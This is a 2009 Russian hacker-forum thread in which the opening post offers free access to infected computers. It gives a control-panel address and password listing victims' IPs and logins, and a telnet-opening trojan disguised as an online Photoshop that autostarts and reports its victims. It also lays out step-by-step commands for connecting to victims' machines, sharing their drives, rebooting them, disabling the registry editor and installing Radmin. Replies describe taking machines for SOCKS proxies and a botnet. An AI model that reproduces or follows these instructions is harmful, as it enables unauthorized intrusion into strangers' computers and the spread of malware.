Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Болталка (https://forum.antichat.xyz/forumdisplay.php?f=46)
-   -   Хотите пошалить в чужих компах на халяву? (Telnet) (https://forum.antichat.xyz/showthread.php?t=151611)

Vlad&slav 27.10.2009 19:04

Хотите пошалить в чужих компах на халяву? (Telnet)
 
Хотите пошалить в чужих компах на халяву? (Telnet)

Цитата:

Адрес: http://telnetlog.tk/

Логин: admin
Пароль: 123456000
В админке вы можете увидеть IP адреса ,
логин и пароль , порт 972(новые сверху)

Это данные для подключения к чужому компу.

Также вверху есть :
Цитата:

[ MAIN ] - Главная
[ INGECT ] - извлеч список IP адресов чтобы загрузить их куда либо (например хспайдер)
[ FAIL ] - это ссылка скачивания фаила самого вируса для открытия телнета, вирус замаскирован под онлайн фотошоп (ниже подробней)
[ PATCH ] - Превращение Win-xp-sp2 в сервер терминалов (или троян от Мелкомягких) подробней тут http://forum.antichat.ru/thread36042.html
Сам фаил вируса:
Его вы можете кинуть неприятелю или разослать где-либо. После этого в админке появится новый IP к которому вы сможете подключиться через телнет.
Также вирус прописывает себя в автозапуск и отстукивает IP при перезагрузке компа жертвы.

Админка сама очищяется через определённое время (внизу написано).

Отчёт с вирустотола http://dumpz.org/13735/ .

Как подключиться и что делать.
Пуск -> Выполнить -> Telnet

в нём пишим open 100.100.100.100 972
если соединение есть то у вас запросят логин и пароль
логин: suser
пароль: 123456 (когда вводите не отображается)

Появляется надпись:
PHP код:

*=====================================================
Вас приветствует Telnet-сервер производства корпорации Майкрософт
*=====================================================
C:>

Поздравляю, ты внутри, перед тобой консоль, с помощью которой ты можешь
управлять кампом, отдавая команды...
Можно к примеру расшарить диски:

PHP код:

C:>net share disk_c=c: > nul
C
:>net share disk_d=d: > nul
C
:>net share disk_e=e: > nul 

перезагрузить комп:
PHP код:

C:>shutdown --t 1 --

прописать какой-нибудь ключ реестра:
PHP код:

C:>reg add HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesSystem /v
DisableRegistryTools 
/t REG_DWORD /d 1 /

- который запретит доступ к нему

или поднять ftp сервер и залить радмина для более удобного удаленного
администрирования:
PHP код:

C:>ftp 

В общем-то, здесь уже играет фантазия взломщика =)


Делал для себя но пользуюсь мало. Пусть учатся новички работать с консолью. Если можно перенестите в релизы :)
icq 1000011101101111100110 в бинарной :D

http://s51.radikal.ru/i131/0910/7b/755d64362720.jpg
http://s56.radikal.ru/i152/0910/6e/311b7a0b1096.jpg
http://i009.radikal.ru/0910/6e/270a7e6c03ea.jpg

Nightmarе 27.10.2009 19:12

Спасибо тебе... за компы которые ты в открытую всем предоставил. щас пару штук возьму под соксы.

Iohid 27.10.2009 19:22

как определить у кого какой порт, или у всех 972

ultradron 27.10.2009 19:24

а как запустить эту консоль???

GRobbeRZ 27.10.2009 19:26

Цитата:

Сообщение от Iohid
как определить у кого какой порт, или у всех 972

+1

Aikaram 27.10.2009 19:31

Цитата:

Сообщение от GRobbeRZ
+1

= 973 :o

GRobbeRZ 27.10.2009 19:39

Ктонибуть пробовал?

Nightmarе 27.10.2009 19:41

Да пробую пробую, столько халявных внешних айпи давно не было. щас ботнет срочняк пополняю, мне внешки крайне необходимы.

-Unlocked- 27.10.2009 19:51

Ну вот. Типерь найтмер заддосит пинтагон. :(

Nuc7ear 27.10.2009 19:52

ой лажанулся ))

satana-fu 27.10.2009 20:01

48 компов, если исключить повторения, и по всем компам СБОЙ ПОДКЛЮЧЕНИЯ..... :mad:

lilogo 27.10.2009 20:01

Цитата:

Сообщение от -Unlocked-
Ну вот. Типерь найтмер заддосит пинтагон. :(

Тока б не взорвал чего,там ,в пинтагоне уже слезы роняют :D


"satana-fu
48 компов, если исключить повторения, и по всем компам СБОЙ ПОДКЛЮЧЕНИЯ....."


Вот это я понимаю,эт по нашенски,молодца),

Nuc7ear 27.10.2009 20:13

Да, не один не пашет, сакс :(
Придется опять в локалке развлечение искать :(

buxmanager 27.10.2009 20:21

ну а что вы ждали?*:)

Nuc7ear 27.10.2009 20:21

ммм... там база пополняется, успел на один заскочить ))

-Unlocked- 27.10.2009 20:45

Все резко погнали ребутить дедике111

Nightmarе 27.10.2009 21:33

Да, видимо не учитывалось в программе, что айпи могут быть за NAT`om, а в большинстве случаев именно так =))

Serafim 27.10.2009 22:44

Мопед не мой, я просто разместил объяву! :D (Автор в асе попросил запостить)

Цитата:

Подключаться всегда к 972 порту

ozs 28.10.2009 02:01

да что то многие оф. лайн

школьнек 28.10.2009 13:46

хакиры чтоле?

cupper 28.10.2009 14:27

отдел К етит его

wkar 29.10.2009 13:58

Здраствуйте.
Подскажыте, как через телнет залить и запустить радмин.


Время: 16:23